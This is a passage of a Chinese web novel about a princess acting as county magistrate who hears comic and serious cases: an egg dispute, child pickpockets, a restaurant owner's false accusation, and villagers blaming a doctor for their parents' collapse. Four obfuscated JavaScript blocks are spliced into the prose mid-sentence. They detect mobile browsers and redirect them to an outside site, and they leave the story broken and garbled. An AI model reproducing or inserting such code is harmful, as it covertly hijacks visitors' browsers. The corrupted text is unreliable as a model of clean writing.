余庆道:“指教不敢当,公主有什么吩咐,尽管叫我们去做就是。可千万别累着自己,若是耽误了和亲大事,我们吃罪不起。” “余县丞放心,我身体还不错。” “还有,您得学会偷懒,不能什么都管,否则没两天身体就垮了。” 姜柠有点想笑,但余县丞所说的倒也是实话。一个县的事务必然很多,县令肯定不能事必躬亲,否则铁打的身体也扛不住。 见人来得差不多了,姜柠拿过点名册,先点了一下名。 名单上的人才来了一半不到,余庆解释道:“有些人在外面办事,赶不回来。还有些人因为没有任务在身,所以就不来衙门了。如果有什么任务派发给他们,再临时去叫他们就是。” 姜柠点头:“可以。” 这时,衙门外有人击鼓鸣冤。 姜柠赶紧说道:“你们出去看看,把击鼓鸣冤的人带进来。” 余庆道:“等等,也别什么人都往里带。” 姜柠有些不赞同:“余县丞,你都没见到人家的面,怎么能爱答不理的呢?说不定对方有什么大事。” “十件里面有八件都是鸡毛蒜皮的小事,还有两件是不着调的事,一天能找着一件值得去办的事,都算您厉害。” 虽然余庆说话有点没大没小,姜柠倒觉得他挺有趣的,自然不去挑他礼节上的毛病,而是随和地笑道:“如果百姓所说的都是一些小事,那倒是不错,证明他们生活过得很好,都开始没事找事了。” 见姜柠也开起了玩笑,余庆有些惊讶。 在他的感觉里,皇族应该是高高在上的,而不是这般平易近人。 不过,他转念一想,真正掌握生杀大权的是皇帝,但皇帝的子女,却未必个个凶悍。 想来公主饱读诗书,性情温和,也在情理之中。 他却想不到,真正的大公主确实是飞扬跋扈的,眼前这个公主是假的。 过了一会,一个老太太拽着一个半大的男孩闯了进来。 几名衙役想把她拦住,但她推搡衙役,力气大得很,衙役们又不敢使太大的劲,怕伤到了她,到时候说不清楚。 因此,这老太太和小男孩就这么闯了进来。 衙役们还在劝:“老太太,您这点小事,就不必告官了吧?我们长官忙得很……” 老太太大手一挥:“是大事还是小事,你们说了不算,我自己说了才算。” 姜柠见此情景,觉得总不能不让百姓说话吧,因此便对衙役说道:“你们别拦着她,让这老太太说说,她有什么事情要伸冤。” 几个衙役都是一脸一言难尽的表情,但姜柠的话他们必须得听,因此就退到了一边。 老太太好奇地看向姜柠:“姑娘,你是谁?” 姜柠道:“我是和亲公主,暂住此地,因县令生病,我暂时帮县令处理公务。” 老太太迅速抓住了重点:“这么说,现在这衙门里管事的是您?” “对。” “那太好了,求您给民妇做主。这小崽子,可把我给害苦了。” 说着,这老太太把那小男孩往前一推。 小男孩想逃走,但老太太把他的胳膊拽得很紧,他根本逃不走。 姜柠一开始还以为,这小孩是老太太的孙子,如今看来应该不是。 姜柠问:“这孩子做了什么?” 老太太道:“民妇李赵氏,这孩子叫阿明,是我邻居家的小孩。昨天他追着我的鸡跑,害我的鸡太累了,今天下的蛋没有往日多……” 姜柠有些惊讶,但还是耐着性子问道:“你有多少只鸡?这孩子只是追着鸡跑吗?今天下的蛋跟往常相比少了多少?” “回公主,我有十几只母鸡,它们以前每天都下十来个蛋。但今天它们只下了八个蛋,一定是因为阿明这个小崽子昨天追着我的鸡跑,让我的鸡太累了,所以下的蛋变少了。公主,您一定要让阿明赔我三十个鸡蛋。” 姜柠有些无语:“这孩子追着鸡跑,跟鸡下几个蛋没有关系。母鸡本来也不是每天都下蛋的,今天的鸡蛋比往常少也是正常的,兴许明天它们就多下几个了。您不能把这事怪在阿明头上,再说,就算真要他赔,赔两三个也就是了,为何要赔三十个?” 老太太理直气壮:“他把我的鸡吓得生病了,母鸡们要休养好多天才能好呢,接下来的几天下蛋肯定不多,所以他要把未来少掉的鸡蛋都补偿给我。” “老太太,您这就有些不讲理了。” “我怎么就不讲理了?啊——当官的不为老百姓做主啊……” 这老太太索性坐在地上,哭嚎起来。虽然没有眼泪,但嚎叫的声音很大,不知道的还以为她受了什么大委屈了。 这男孩阿明索性也大哭起来,他倒是真哭,声音尖利,姜柠觉得自己的耳膜隐隐生疼。 余县丞对她说道:“我早就说过,不能把什么人都放进来,您现在明白了吧?” 姜柠苦笑道:“现在该怎么办?” 余县丞走到那老太太旁边,高声说道:“老太太,现在时间还早,您家的母鸡说不定还要下蛋呢。您这会不赶紧回家,小心母鸡新下的蛋被别人捡走。” 老太太立马不哭了,“倏”地一下站了起来,拔腿往外跑去,一边跑还一边回头指着那男孩:“你等着,我告诉你爷爷奶奶!” 男孩阿明对老太太做鬼脸:“祝你家的鸡全部得鸡瘟!” 说完,这男孩就朝反方向跑了。 姜柠哭笑不得:“这叫什么事啊?” 余县丞道:“这种事每天没有三十起,也有二十起。您慢慢就习惯了。” “我总算知道潘县令为何生病了。” 过了一会,又有人击鼓鸣冤。 姜柠对衙役们说道:“你们出去看看,若还是刚才这种小事,就别让人进来了。” “是。” 片刻后,有个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146955|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衙役进来回禀:“外面是好几个大人绑着一大群孩子来告状,不像是小事,是否要让他们进来?” 姜柠:“那就让他们进来吧。” 很快,几个较为肥胖的中年人带着一大串孩子进来了。 那些孩子的手全都被绳子绑住了,绳子的一端牵在一个中年男人的手上。 那些孩子都想逃跑,但逃不了。挣扎得太厉害的孩子,还会被几个中年人打头。 姜柠皱眉道:“怎么回事?” 为首的中年人道:“县令大人呢?我们要见县令。” 姜柠道:“我是和亲公主,暂代县令之职。” “原来您是公主啊,求您为草民做主。草民是一家酒楼的老板葛天,这些天生意本来就不好,这群野孩子还经常在我店门口打架,引得路人围观,就连本来进店的客人也跑出去看他们打架。 这还罢了,对面的酒楼百味居的老板,竟然趁此机会,让伙计向围观群众兜售食品。围观群众吃得高兴了,看完打架就直接去对面的酒楼吃饭了。 现在草民怀疑,这些孩子都是对面酒楼雇来的,特意在我店门口打架,趁机把我的客人都吸引到他们酒楼去。求公主严惩这些野孩子和对面酒楼的老板。” 姜柠问这些孩子:“你们是谁家的?为什么要在葛老板的店门口打架?” 为首的孩子道:“我们都是孤儿,平时一起玩,有矛盾也会打架,一天打好几回。我们根本没注意打架的地点在哪里,都是一言不合就开打。” “是不是百味居的老板雇佣你们在葛老板的店铺门口打架的?” “不是,要是有人雇佣我们就好了,我们就不会缺钱,为了一点点食物大打出手。而且,其实我们打架的时候,两家酒楼的客人都出来围观了,只不过这位葛老板的伙计只知道叫客人们回去,而对面那家百味居的老板就聪明多了,他直接让自己的伙计拿出瓜子花生酱牛肉,卖给围观群众。 大家多多少少都会买一点,觉得好吃就会进他店里去吃。这是对面老板抢生意的手段,但跟我们却没什么关系。” 姜柠这才搞清楚来龙去脉。 她问其他孩子:“事情是这样的吗?” 其他孩子纷纷说道:“没错,就是老大说的这样。”“百味居的伙计给围观群众发吃的,却不给我们发,太坏了。”“这个葛老板更坏,把我们全都绑起来,还打我们,祝他的店早点倒闭。” 葛老板生气地打了那几个孩子:“你们这些臭小子,说什么呢!” 姜柠皱眉道:“葛老板,公堂之上,你怎可随意打人?你根本无权绑住这些孩子,快放开他们。” 葛天:“公主,您不能只听他们一面之词啊!” 为首的孩子说道:“如果百味居的老板真的给我们钱,那我们早就买几身新衣服穿了,怎么会穿得这么破破烂烂的?我的裤子上还有个大洞呢!” 姜柠让衙役们解开绳子,放这些孩子自由。 谁知,这些孩子立刻在公堂里乱窜,像一匹匹脱缰的野马。 13. 作证(修) 姜柠不得不阻止他们:“你们快离开吧,别在这儿跑来跑去,这里是公堂,不是你们玩的地方。” 但那群孩子好像没听到似的,仍旧到处跑,边跑边笑。 还有些孩子故意去撞那几个中年人,把那几个中年人搞得很狼狈。 不过,那几个中年人都比较胖,也不会被撞倒,只是身体有些痛而已。 还有个孩子从姜柠身边跑过,带起一阵风。 衙役和小吏们带来的水壶,也被这些孩子拿起来,全部喝光了。 衙役们只能追着这些孩子跑,试图把他们赶出去。 过了一会,这些孩子似乎跑累了,一窝蜂地往门口跑。 姜柠松了一口气,这时,余县丞却突然说道:“慢着!把门关上,别放跑了一个!” 站在门口的衙役赶紧把门给关上。 一群孩子开始拍门,拍得震天响。 姜柠不解道:“余县丞,为何不让他们走?” 余县丞没回答,只是走到那些孩子身边,朝他们伸出手:“拿出来。” 那些孩子说道:“拿什么?” “别装傻,钱袋拿出来。” “我们没有钱袋。”“就是,我们都是孤儿,哪有钱啊?” 余县丞道:“你们当然没钱,但我们有。把我们的钱袋全还回来。” 姜柠觉得有些奇怪,难道这些孩子刚才偷了官吏和衙役们的钱袋? 她往腰间一摸,自己的钱袋果然没了。联想到刚才有个孩子跑到她身边,也许钱袋就是那时被摸走的。 在余县丞的注视下,那群孩子只能把偷走的钱袋拿出来,一共有二十多个,分别属于姜柠、余县丞和其他小吏、衙役。 大伙赶紧把属于自己的钱袋拿回来,除了姜柠之外,其他人都是见怪不怪的表情。 姜柠不得不佩服余县丞,要不是他反应快,这些小鬼就要带着钱袋逃之夭夭了。 当然,她更佩服这些孩子,看似在追逐打闹,但不经意间就偷走了二十几个钱袋,真是天生偷盗圣体。 姜柠倒也不想跟他们计较,但又觉得必须教育教育他们。 余县丞已经拿了一根细竹竿,对那群孩子道:“你们都站好,把手伸出来。” 有个孩子道:“伸你的手还是伸我的手?” 余县丞朝他瞪眼:“当然是伸你自己的手!” 那个孩子伸出手来,把余县丞手上的钱袋拿走了。余县丞刚才拿回自己的钱袋,还来不及挂在腰间,仍旧拿在手上。 姜柠目瞪口呆,这孩子真是既调皮,又大胆啊。 余县丞冷着脸把自己的钱袋拽回来,然后重重地打了那孩子的手心。 那个孩子道:“干什么!是你自己叫我伸手的!我以为你叫我伸手拿钱呢!” 余县丞不语,又多打了他几下。 接着,其他孩子也都挨了好几下。 他们“哎哟”“哎哟”地叫疼,也不知道是真疼还是装的。 打完之后,余县丞叫人打开大门,让这些孩子离开。 葛老板说道:“等等,不能让他们走!我的案子还没完呢!” 余县丞道:“他们刚才不是说了吗?他们并未被对面酒楼的老板收买,打架的地点是随便选的,也不是故意在你酒楼门口打架。至于你的客人被对面酒楼抢走,这是对面酒楼比你会来事,你多学着点就是,这事跟这群孩子可没关系。” 葛老板道:“怎么会没关系?你们还没有仔细调查过呢。” 余县丞道:“这群孩子隔三差五就犯在我手里,我对他们很了解。他们确实调皮捣蛋,但不可能被人收买故意闹事,还不承认。” “您怎么能相信这些野孩子?他们都没家教,人品肯定很坏……” 余县丞脸一沉,想要斥责葛老板,然而那群孩子早已经围住葛老板,对他拳打脚踢。 衙役们赶紧拉开那群孩子。 葛老板有些生气地说:“公主,余县丞,你们现在看到了吧?这群孩子根本不讲道理。” 姜柠道:“你绑他们在先,侮.辱他们人格在后,他们当然对你有敌意。” “我绑着他们也是怀疑他们被对面酒楼收买,你们身为长官,也应该调查一下,不能只凭主观臆断,就认定他们无罪吧?这样的话,草民是不会心服的。” “好吧,那就传百味居的老板过来对质。” 过了两炷香的时间,百味居的老板毕有成过来了。 他看起来比较和气,不笑时也带着几分笑意。 姜柠把刚才的事说了,问毕老板:“葛老板说你雇佣这群孩子在他的店门口打架,趁机抢走他的客人,有这回事吗?” 毕老板道:“回公主,不是小人叫这群孩子打架的,小人从来没有收买过他们。当时他们在街上打架,我们店的客人也都出去看了,我们也差点损失很多客人。后来我叫伙计们拿点零食卖给围观的百姓,围观百姓吃了觉得好,才来我店里吃饭。如果不是我反应快,我也会像葛老板一样,损失客人和收入。 但葛老板的损失,无论如何也不能算在我的头上,要怪就怪那些客人太喜欢看热闹,连饭也不吃就要去看一群孩子打架,请大人明察。” 葛老板道:“毕有成,我们两家竞争这么多年,你别把自己说得那么无辜!你肯定收买这些孩子了!” 毕老板看着好说话,但却寸步不让:“你说我收买这些孩子,故意捣乱,也得拿出证据,不能想一出是一出。请问葛老板,您是亲眼看见我收买他们了?” “我虽然没亲眼看见,但以你的为人,很有可能做出这种事。” “原来是这样啊,你仅凭猜测就定我的罪。那我猜测你的酒楼其实是我的,你认不认?” “你……” 眼见两个老板的冲突加剧,姜柠赶紧说道:“两位老板别吵了,既然没有证据,那我张贴告示,寻找这件事的知情者如何?等知情者提供更多证词,就能判断谁是谁非了。” 葛老板道:“毕老板收买别人肯定是私下进行,不会有人看见的,肯定找不到知情者。” 姜柠道:“就算他真的收买了这些孩子,并且没有目击者,我也有方法通过别的方式验证此事的真假。余县丞,请你贴出告示,寻找知情者。如有能提供线索的,奖励……奖励多少合适?” 余县丞道:“奖励多少都不合适,县衙没钱。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146956|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜柠:“……” 姜柠想了想,道:“要不这样,提供线索者,每人奖励三文钱。如果最后证实确实是毕老板收买这些孩子搞事,这些赏钱全部由毕老板出。如果证明毕老板未曾收买这些孩子,那赏钱全部由葛天葛老板出。你们二位可有异议?” 两位老板说道:“我们没有异议。” 这时,这群孩子纷纷上前,说道:“我们就是知情者,我们作证,毕老板没有收买我们!” 姜柠笑道:“你们是当事人,不能自己给自己作证,必须由别人来提供线索。” 这群孩子傻眼了。 过了一会,有个孩子大声喊:“给钱!给钱!” 接着,其他孩子也跟着起哄:“给钱!给钱!” 姜柠以手扶额,实在是拿这群孩子没办法。 倒是余县丞掏出五文钱,给那群孩子,道:“你们那这些钱去买糖葫芦吃,别在这儿捣乱。” 孩子们道:“五文钱只能买五串糖葫芦,根本不够我们吃的!”“你多给一点能怎么样?”“小气鬼,喝凉水,喝了凉水变成鬼!” 余县丞听得来气:“嘿,你们这些小崽子,我是欠你们还是怎么着?有得吃就不错了!你们还想每人一串?几个人分着吃一串就好了。要是不满意,我连这五文钱也收回。” 孩子们生怕他把五文钱拿回去,一溜烟地跑了。 公堂里顿时清静很多。 姜柠对两位老板道:“您二位也先回去吧,等有了结果,我会派人找你们过来的。” 两位老板也走了。 姜柠叫来一个小吏,让他写几张告示张贴出去。 小吏赶紧去写。 余县丞道:“依我说,这都多余写。这件事一看就是那位葛老板见自己酒楼生意不好,迁怒在孩子身上,还诬.告他们勾结百味居的老板,就是想找人分担自己的损失。” 姜柠道:“其实我也觉得是这样,但还是调查一下比较安心,万一别有隐情呢?” “好吧,那就听公主的。” 告示张贴出去没多久,就有好几个知情的百姓过来了。 姜柠让他们一个一个说。 第一个是百味居的伙计,他说道:“小人是毕老板的伙计,这些天,经常有一群野孩子在街上打架,引得我们饭馆的客人都出去看。当然,对面酒楼的客人也都出去看。 一开始,听说有人打架,我们老板也在向外张望,很好奇的样子。后来发现客人也跑出去看了,他就开始想办法招揽客人回来。 他让我们带着一些食物去卖给围观的百姓,那些百姓多多少少会买一些。我们再趁机推销我们店的优惠活动,有不少百姓会进来吃一顿。他们看完野孩子打架,正好也饿了。 我们老板很高兴,觉得自己很聪明,能随机应变想出这样的主意。 从我们老板的反应来看,这些野孩子在店铺外面打架,似乎是出乎意料的,他事先并没有想到会发生这种事。 所以,小人认为,我们老板并不是故意雇佣那些野孩子打架,来抢对面酒楼的生意。 小人虽然是毕老板的伙计,但也是实话实说,不会故意替我们老板开脱。” 14. 晕倒(修) 姜柠点头道:“你说的有几分道理。” 如果毕老板真的收买了这些孩子,当这些孩子在外面打架时,他就不会感到好奇,凑出去看。当他使用巧计招揽了客人时,也不会感到得意。 如果一切都是他事先计划的,那他应该是一副胸有成竹的表情才对。 姜柠又问那伙计:“你说的话是真的吗?” “是真的,我们老板的反应、他所做的事,好几个伙计都看到的,您可以派人去问问其他伙计。” “嗯,那你先领赏钱吧。” 第二个知情者是一个客人,他说道:“今天早上,小人先走进葛天老板的福运楼,准备吃早点,谁知这时外面有一群孩子打架。小人顾不上点餐,就出去看了。 这时,小人注意到,对面酒楼的老板毕有成,也有些好奇地往外看,似乎想看看打架的是谁。等到他酒楼里的客人也跑出来看热闹了,他有点慌,就走了进去,好像是去想对策去了。 没过一会,毕老板的伙计们就拿着零食过来兜售,我也买了一些,但没吃饱。看完那群孩子打架后,我就去毕老板的百味居吃饭了。 我也可以证明,孩子们在大街上打架的事,毕老板应该不知情。” 第三个知情者是一个十几岁的孩子,他说道:“我跟那群打架的野孩子认识,我知道他们的性格很调皮,而且记仇。凡是得罪过他们的人,他们都不会给好脸色,更不会合作。 以前,那群孩子曾经向百味居的毕老板要过食物,但毕老板表面上很和气,实际上对这些野孩子很刻薄,不仅不给他们食物,还把他们骂走了。 所以,他们是不太可能跟毕老板合作的。” 第四个知情者是一个普通的百姓,看着有些垂头丧气。他说道:“小人以前是一家小店的老板,后来我的店竞争不过毕老板的店,关门了。我去外面闯荡了几年,也没挣到什么钱,最近才回栾伊城中。 我觉得,如果不是毕老板,我的店说不定还开得好好的,所以我心里一直记恨他,想找机会打他一顿。所以,这些天,我一直偷偷跟踪毕老板,知道他的全部行踪。 他这些天,没有跟那些野孩子接触过,也就不可能收买他们了。我看见官府在张贴告示,寻找知情者,有赏钱一百文。我就打消了报复毕老板的念头,想得到官府的赏钱,所以才来的。” 姜柠点头道:“很好,你们提供的信息都很有用。” 姜柠先把赏钱给了这几个证人,然后把葛天老板和毕有成老板叫了回来,把证人的证词给他们看。 看了这些证词之后,足以证明一切都是葛天老板的臆测,并不是真实的。 因此,葛天老板只能掏钱,把全部赏钱出了。 毕老板对葛天道:“葛老板,这下你相信我是无辜的了?奉劝你一句,以后多在经营策略上下功夫,别一天到晚想着污蔑同行。” 葛天道:“这次算你运气好。” 见葛天不认错,毕老板也不再计较,直接离开了。 姜柠对葛天道:“葛老板,之前你在没有证据的情况下,说那群打架的孩子是被毕老板收买了,故意来破坏你的生意,这是诬告。你还把那群孩子绑起来,任意打骂,是为不仁。就判你杖责……杖责五下吧。” 姜柠本想说杖责十下,但看到杖责用的木板又厚又硬,觉得打在身上一定很疼,所以临时改口说成五下。 余县丞在一边小声提醒:“打他干什么?罚款啊。” 姜柠听得想笑,心想县衙应该真的非常缺钱,所以余县丞才这样说。 于是,姜柠便改口道:“葛老板,本公主看你体虚,可将杖责之刑改为罚款。” 葛天道:“公主,还是杖责吧。打五下我还是能坚持的。” 姜柠:“……” 姜柠顿了顿,说道:“本公主说罚款,就是罚款,没有讨价还价的余地。就罚你二十两银子吧,小惩大诫。” 葛天一脸痛苦地说:“是。” 他拿出二十两银子,余县丞难得露出了真心实意的笑容,接了过来。 葛天诉苦道:“公主,其实不是小人故意诬告,实在是这生意难做啊……那群孩子在我店铺门口打架,害得我损失客人,我也不知道他们是有意还是无意的,想着有枣没枣打一杆子再说……换了是以前生意好的时候,我是不会这么做的……” 姜柠道:“我明白。现在生意不好做有很多原因,比如容城失守,栾伊城被迫跟北胤军队接壤,行商和游客不敢过来,城中的百姓们也不怎么出门了。运进城中的物资也少了,导致物价也涨,菜品价格也上涨。 总有一天,本公主要改变这种现状。你们只需继续诚信经营即可,生意一定有再度好转的一天,千万不可再动歪心思了。” “公主说的是,草民记住了。” 葛天也离开了衙门。 系统出现在姜柠眼前:“姜柠,你解决了刚才的案子,还了毕老板和那群孩子的清白,获得200积分。” “好。是不是我处理的事务越多,积分就越多?” “如果你都妥善地处理的话,确实可以获得积分。” “明白了。” 姜柠现在很有成就感,觉得自己还能再干五百年。 过了一会,她有些饿了,正想问问怎么吃饭。这时,有两个百姓过来了,提着一些食盒,说道:“大人们的午饭到了。” 余县丞给了他们饭钱,让他们把食盒留下。 姜柠问:“刚才这两个送餐的是谁?” 余县丞道:“是附近小吃摊的摊主,我们的午饭都是由这些摊主轮流送来。” “衙门里没有伙食吗?” “理论上应该有,但实际上没有。” 姜柠有些困惑。 有个小吏解释道:“县衙雇不起烧饭的人,所以我们一直是吃外送的饮食。” 姜柠心想,这县衙还真是条件艰苦啊。 不过,她很好奇中午吃什么。 其他人并没有等她,已经先取出食物吃了起来。 县衙里人手不够,大家都没那么讲究繁文缛节,主打一个吃饭快,吃完就能接着干活了。 姜柠拿来一份食物,打开一看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146957|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是炒面,里面加了青菜、鸡蛋和一些肉末,瞧着卖相还可以,但油挺重的,姜柠吃不下去。 余县丞道:“公主别嫌弃这样的食物,衙门里工作量大,不吃点重油的,撑不下去。” “嗯。” 姜柠是第一天来,不想显得跟别人不一样,因此就吃了起来,没想到还挺好吃的。 只是,吃完之后腻得发慌。好在食盒里还有一大桶酸梅汤,大家分着喝了,解解腻。 吃完后,姜柠虽然饱了,但总觉得有些不得劲。 她想了想,大概是因为自己平时很少吃得这么简单吧。 尤其是午餐,她一般都要吃好几个菜,而且是厨房搭配过的,既不油腻,营养又全面,看起来又好看。饭后的茶水、汤水也有好几种,随便她选择。 如今出门在外,比不得从前了。 其他人吃完饭后都没有什么反应,没有吃饱的满足感,也没有对饭菜的嫌弃感,似乎只是把吃饭当成一件活下去所必须做的事,不会投入什么感情在上面。 姜柠觉得,自己也可以学一学这种心态。 饭后本来是有午休时间的,但大家都在不停地忙活,好像没人休息。 姜柠问余县丞:“大家都不休息吗?” 余县丞道:“我们每天的事都做不完,积压到下一天。长年累月积压下来,只会越来越忙。” “大家都辛苦了。” “没关系,如果我们觉得辛苦,直接就不来了,在家待几天再来,反正衙门里总是有人的。” “……” 姜柠撤回了一句安慰。 姜柠问道:“那我呢?我可以休息吗?” 余县丞道:“您想休息就可以休息,反正永远有干不完的事情。如果您想一直做事的话,也不会有人来阻止您的。” “……” 姜柠心想,敢情这个衙门办事全凭主观意愿啊。 她正想着是努力工作还是悠闲度日,又有人敲鸣冤鼓了。 姜柠道:“来人,去外面看看。” 几个衙役走了出去,过了一会,带回来五个村民。 这五个村民神色惶急,似乎出了什么大事。 姜柠也不敢怠慢,介绍了自己的身份后,问道:“你们是何人?为何要敲鸣冤鼓?” 这几个村民道:“大人,我们都是大石镇方家村人,我们的父母前两天食物中毒,我们就请了镇上的大夫海云浦来医治。海大夫开了药,让我们早晚各煎两次,给父母喝了。一开始,父母的身体逐渐好转。 谁知,今天早上,我们的父母喝了药之后,竟晕倒了。因此,我们几人一起来县衙,状告那个海大夫。他开的药肯定有问题。” 姜柠问:“你们是同一家的兄弟?” “不是,我们五个不是同一家,来自五家。我们的父母各不相同,一共是十名父母。” 姜柠心中一凛。如果是一两个老人晕倒,也许有别的解释。但现在五户人家的老人全都晕倒,莫非真是药的问题? 姜柠接着问道:“你们来告官,家中父母怎么办?” 15. 大夫(修) “我们还有其他兄弟姐妹在家照顾父母。” “你们父母喝药剩下的药渣可有带来?” “带来了,不仅有药渣,还有没喝完的药材,全都在这儿了。” 这几个村民拿出几包东西,里面应该就是药渣和药材了。 有个衙役接过来,余县丞先拿过去看了,说道:“我粗通医术,这些药渣和药材都是治疗食物中毒的,看着没什么问题。” 姜柠道:“为稳妥起见,还是去附近找个大夫来确认一下吧。” “也好。” 余县丞派了两个手脚快的衙役出去找大夫:“在西直街第三户人家住着一个姓邵的大夫,你们去请他来吧,他住得最近。” 衙役们答应了,马上就往外跑。 趁着这会功夫,姜柠接着问那几个百姓:“昨天或今天,你们的父母有没有吃什么不对劲的东西?” “没有。” “你们说一下,从昨天到今天,你们家里都吃些什么,一样也别漏了。” 姜柠之所以这样问,是想看看有没有别的食物导致老人集体晕倒。 有些菌菇或野菜是有毒的,一不小心吃进去,就容易出事。 几个村民回想着这两天的饮食,纷纷说了出来,都是一些米汤、面饼、花生米、小葱拌豆腐之类的简单食物,并没有菌菇和野菜。 姜柠问道:“你们确定是这些?没有遗漏的?” “没有。” “来人,去把海云浦大夫带来。” 有几个衙役领命而去。 几个村民对姜柠道:“公主,那个海大夫害得我们的父母昏迷,以后还不知道病情会不会恶化,您要给我们做主啊。” 姜柠道:“现在还不能判断是海大夫害了你们的父母,你们先别乱猜。对了,你们可有给父母重新请大夫?” “我们镇上一共三名大夫,其他两名大夫医术都不如海云浦,我们也不敢请,怕把父母的身体治得更差。我们出来之前,嘱咐了家里的兄弟姐妹,如果父母病情恶化,就去隔壁镇请大夫。如果看着还好,就先别折腾了。” “这么说,海大夫还算是个良医了?” “对,在我们那个小镇上,他的医术已经算是很好了,以前他治的病人也基本上都能好。这次不知道怎么回事,竟出了这样的岔子。大概是他年老糊涂了,诊错了脉,开错了药。” 姜柠不懂医术,也不能妄下定论。 她只知道,同一种病,不同的人有不同的治法。因为每个人体质不同,很多老人更是有慢性病,所以开药也要斟酌着开。 莫非是这几个老人本身身体就不好,所以给常人吃的分量,给老人们吃就导致昏迷了? 姜柠问道:“你们的父母身体好吗?可有什么基础疾病?” 细问之下,姜柠发现那十个老人身体都不是很好,有各种各样的慢性病。有得胃病的,有经常头晕乏力的,有得心疾的,还有肝火旺的,不一而足。 而且,每个老人身上都有好几种慢性病。 过了一会,住在附近的邵大夫到了。 邵大夫是个和蔼的中年人,身材略胖,所以走起路来也不快。他是被两个衙役拉过来的,那两个衙役脚程快,把邵大夫拉得气喘吁吁的。 姜柠把药包里的药渣和药材给邵大夫看,问道:“邵大夫,您看看这些药有什么问题没有?” 邵大夫仔细看了看,道:“这些都是治疗食物中毒的药,且较为温和,应该没问题。” “如果是有慢性疾病的老人,喝了之后会有什么不良后果吗?比如晕倒?” 邵大夫问道:“具体是什么慢性疾病?” “胃病、心疾、骨质疏松……” 姜柠把方才几个百姓所提到的慢性疾病都说了。 邵大夫道:“不会的,这些药材不会导致晕倒。” 几个百姓不信,说道:“可我们几个的父母明明就晕倒了……” 邵大夫道:“是不是干活太累导致的?” “不会,他们早上喝了药,还没开始干活呢。” “也许是前几天累着的,今天才显现出来。” “那也不会,这些天我们一直让父母在家休息,没让他们干重活。反正就是那个海大夫开的药不对。” 听见这话,一旁的邵大夫可就不乐意了。这件事虽然跟他无关,但他也是大夫,听见有人在证据不足的情况下诋毁自己的同行,那就跟诋毁他自己差不多。 因此,邵大夫不悦道:“出点什么事,第一个就怀疑大夫?有本事你们再也别找大夫啊。” 有个百姓道:“我们说的是海大夫,又没说你,你激动什么?” “老人晕倒的原因很多,你们在没有确切证据的情况下,就说是海大夫开的药不对,难道不过分吗?从这些药渣和剩余的药材来看,根本就没问题。” 姜柠也说道:“你们刚才不是说,你们的父母喝了药之后,有好转迹象吗?只是今天早晨忽然晕倒。这说明,海大夫开的药是有用的,老人晕倒可能有别的原因。” 这几个中年人确实觉得自己可能太过武断了,但这会他们的气势不能弱,因此还是梗着脖子道:“除了药有问题,我们想不出别的原因,还是等海大夫到场了,当面问问他吧。” 姜柠道:“如果最后查出跟海大夫没关系,你们也需要诚心诚意地向他道歉。” “这个没问题。只不过,如果真的跟他有关,他也必须付出代价!要是我们的爹娘没事还好说,要是有人去世了,那海大夫也得偿命。” 余县丞道:“好了,别喧哗了。你们先去那边,把自己的名字、父母的名字都登记一下。” 一个叫宁咏的小吏正在记录案情,几个百姓走到他那边,一一报上自己的名字、父母的名字。 不过,这几个村民的名字和他们父亲的名字都各不相同,但却有三个人的母亲都叫方王氏。 宁咏问道:“你们三个的母亲都姓王?” 其中一个百姓道:“没错,我们方家村的人都姓方,隔壁就是王家村,两个村子经常互相嫁娶,所以我们村 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146958|180491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有好多方王氏。” “那怎么区分?” “我们三个的母亲,一个住在东边第三家,一个住在东南边第一家,一个住在西边第五家。您在她们的名字后面,分别备注上‘东三’、‘东南一’、‘西五’就可以了。以前有什么需要登记名字的场合,大家都是按照这种方式区分的。” 小吏宁咏点了点头,便在三个“方王氏”后面都加了备注。 姜柠觉得这些老太太很可怜,没有自己的名字,只能被称呼为“某某氏”。而她们的姓氏和夫家的姓氏都跟别人重复时,她们的“名字”自然也跟别人一样。 她们似乎不需要一个特别的代号,只需要让别人知道,她们是住在哪一家的女人就可以了。 